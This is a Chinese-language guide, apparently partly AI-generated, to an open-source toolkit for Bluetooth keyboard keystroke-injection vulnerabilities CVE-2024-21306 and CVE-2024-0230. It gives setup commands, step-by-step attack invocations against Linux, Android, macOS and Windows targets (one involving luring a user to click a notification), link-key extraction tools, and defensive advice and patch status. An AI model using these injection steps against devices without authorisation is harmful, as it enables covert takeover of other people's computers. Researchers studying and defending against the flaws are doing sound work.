CVE-2024-21306与CVE-2024-0230:Hi, My Name is Keyboard漏洞利用指南

📅 2026/7/22 21:06:49 👁️ 阅读次数 📝 编程学习
CVE-2024-21306与CVE-2024-0230:Hi, My Name is Keyboard漏洞利用指南

CVE-2024-21306与CVE-2024-0230:Hi, My Name is Keyboard漏洞利用指南

【免费下载链接】hi_my_name_is_keyboard项目地址: https://gitcode.com/gh_mirrors/hi/hi_my_name_is_keyboard

Hi, My Name is Keyboard项目是一个针对CVE-2024-21306与CVE-2024-0230等蓝牙键盘漏洞的开源工具集,提供了多种操作系统的键盘注入攻击演示。通过该项目,安全研究者可以深入了解蓝牙键盘配对机制中的安全缺陷,以及如何通过技术手段防范此类攻击。

漏洞原理:蓝牙键盘的隐形威胁 🚨

现代设备广泛依赖蓝牙键盘进行输入,但CVE-2024-21306与CVE-2024-0230漏洞暴露了蓝牙配对流程中的严重安全缺陷。攻击者可通过伪造蓝牙键盘设备,在无需用户确认的情况下强制配对并注入恶意指令,实现对目标设备的远程控制。

这类攻击主要利用以下漏洞点:

  • 零交互配对:部分系统在蓝牙开启时会自动接受键盘配对请求
  • 设备身份验证缺失:未能有效验证蓝牙设备的物理合法性
  • 链接密钥泄露:Magic Keyboard等设备存在链接密钥存储漏洞

环境准备:快速搭建测试平台 ⚙️

硬件要求

  • Ubuntu 22.04主机(推荐)
  • Broadcom蓝牙适配器(如Kinivo BCM20702A0)
  • 目标测试设备(Android/iOS/macOS/Linux/Windows)

依赖安装

# 更新系统 sudo apt-get update && sudo apt-get -y upgrade # 安装基础依赖 sudo apt install -y bluez-tools bluez-hcidump git \ python3-pip python3-setuptools \ libbluetooth-dev # 配置蓝牙兼容性模式 sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service sudo systemctl daemon-reload sudo systemctl restart bluetooth # 安装Python依赖 git clone https://github.com/pybluez/pybluez.git cd pybluez && sudo python3 setup.py install python3 -m pip install pydbus # 编译bdaddr工具 cd ~ && git clone https://github.com/bluez/bluez.git cd bluez && gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I. sudo cp bdaddr /usr/local/bin/

代码获取

git clone https://gitcode.com/gh_mirrors/hi/hi_my_name_is_keyboard cd hi_my_name_is_keyboard

跨平台攻击演示:实战操作指南 📱💻

Linux系统攻击演示

当Linux主机开启蓝牙并处于可发现状态时,攻击者可利用BlueZ协议栈漏洞实现键盘注入。下图展示了Ubuntu系统的蓝牙设置界面,此时设备正处于易受攻击状态:

攻击步骤:
  1. 确认目标Linux主机蓝牙处于可发现状态
  2. 执行注入脚本:
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
  1. 脚本将自动完成设备伪装与配对,注入Tab键击10秒

macOS系统攻击演示

macOS系统在Magic Keyboard断开连接时存在短暂的安全窗口,攻击者可通过伪造键盘设备实现注入。下图展示了macOS系统在攻击过程中的屏幕状态变化:

攻击步骤:
  1. 确保目标Mac已配对Magic Keyboard并处于连接状态
  2. 执行注入脚本:
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02
  1. 断开目标Magic Keyboard连接触发攻击
  2. 脚本将自动注入打开浏览器并执行搜索的指令

Windows系统攻击要点

Windows系统需要用户点击通知才能完成攻击流程,具体步骤如下:

  1. 确保目标Windows已配对蓝牙键盘并关闭该键盘
  2. 执行注入脚本:
./windows-poc.py -i hci0 -k 3C:A6:F6:EC:5B:ED -c 04:33:C2:19:CD:3B
  1. 诱导目标用户点击"添加设备"通知
  2. 用户关闭配对对话框后,脚本将注入Tab键击5秒

防御措施:保护你的设备安全 🛡️

系统层面防护

  • 及时更新系统

    • Android:升级至2023-12-05安全补丁级别
    • iOS:升级至17.2或更高版本
    • macOS:升级至14.2或更高版本
    • Linux:更新BlueZ至最新安全版本
  • 蓝牙使用规范

    • 仅在需要时开启蓝牙
    • 禁用自动配对功能
    • 开启蓝牙时避免将设备设为可发现状态

硬件层面防护

  • 使用带有物理开关的蓝牙设备
  • 定期更换蓝牙设备链接密钥
  • 考虑使用USB有线键盘替代蓝牙键盘

高级防护策略

  • 开启macOS的"锁定模式"(Lockdown Mode)
  • 配置Linux系统蓝牙白名单
  • 监控异常蓝牙连接请求

漏洞影响范围与修复状态 📊

受影响设备

操作系统受影响版本修复状态
Android4.2.2-14部分修复
iOS16-17.117.2已修复
macOS12-14.114.2已修复
LinuxBlueZ 5已发布补丁
Windows10/11部分缓解

受影响Apple外设

  • Magic Keyboard (A2450)
  • Magic Keyboard with Touch ID (A2449)
  • Magic Mouse (A1657)
  • 其他蓝牙输入设备

项目结构与核心文件 🔍

该项目包含多个平台的攻击演示脚本和工具模块:

  • 注入工具

    • keystroke-injection-android-linux.py - Android/Linux注入脚本
    • keystroke-injection-macos.py - macOS注入脚本
    • keystroke-injection-ios.py - iOS注入脚本
    • windows-poc.py - Windows注入脚本
  • 链接密钥提取工具

    • read-link-key-bluetooth.py - 蓝牙方式提取密钥
    • read-link-key-from-mac.py - Mac USB端口提取密钥
    • read-link-key-lightning.py - Lightning端口提取密钥
  • 核心模块

    • injector/agent.py - 蓝牙HID代理实现
    • injector/hid.py - HID设备模拟
    • injector/client.py - 蓝牙连接管理

总结与展望 🔮

CVE-2024-21306与CVE-2024-0230漏洞揭示了蓝牙输入设备生态中的基础性安全问题。Hi, My Name is Keyboard项目通过开源演示的方式,帮助安全社区更好地理解这些漏洞的原理与影响。

随着蓝牙设备的普及,类似的物理 proximity 攻击将持续对用户安全构成威胁。建议普通用户保持系统更新,安全研究者可基于本项目进一步探索蓝牙协议的安全边界,共同推动更安全的蓝牙生态建设。

注意:本项目仅用于安全研究目的,未经授权使用可能违反法律法规。

【免费下载链接】hi_my_name_is_keyboard项目地址: https://gitcode.com/gh_mirrors/hi/hi_my_name_is_keyboard

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考